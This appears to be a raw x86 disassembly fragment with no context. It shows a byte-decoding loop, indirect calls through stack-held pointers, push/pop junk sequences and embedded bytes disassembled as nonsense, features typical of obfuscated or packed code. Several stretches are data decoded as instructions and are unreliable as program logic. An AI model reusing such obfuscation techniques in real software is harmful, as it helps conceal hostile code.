movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x439cfc
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x439ddf
push esi
call 0x439da8
add byte [ebx + edi], bh
dec edx
inc eax
cmp eax, 0x83394f32
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [edi], bh
xor eax, 0x32404c43
xor cl, byte [edi + 0x3d]
dec ebx
add esp, 4
jmp 0x439dc4
or esi, 0x8382
pop esi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edx
push ebx
add esp, 4
call 0x439df3
add byte [edi + eax*2], dh
dec esi
inc edx
xor eax, 0x83493c39
les eax, [edx + ebx*2]
push eax
push ebx
add esp, 4
or eax, 0xe204
jmp 0x439e0a
and eax, 0x7376
pop eax
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pop edx
mov ch, dl
imul ecx, dword [ecx + 0xa], 9
hlt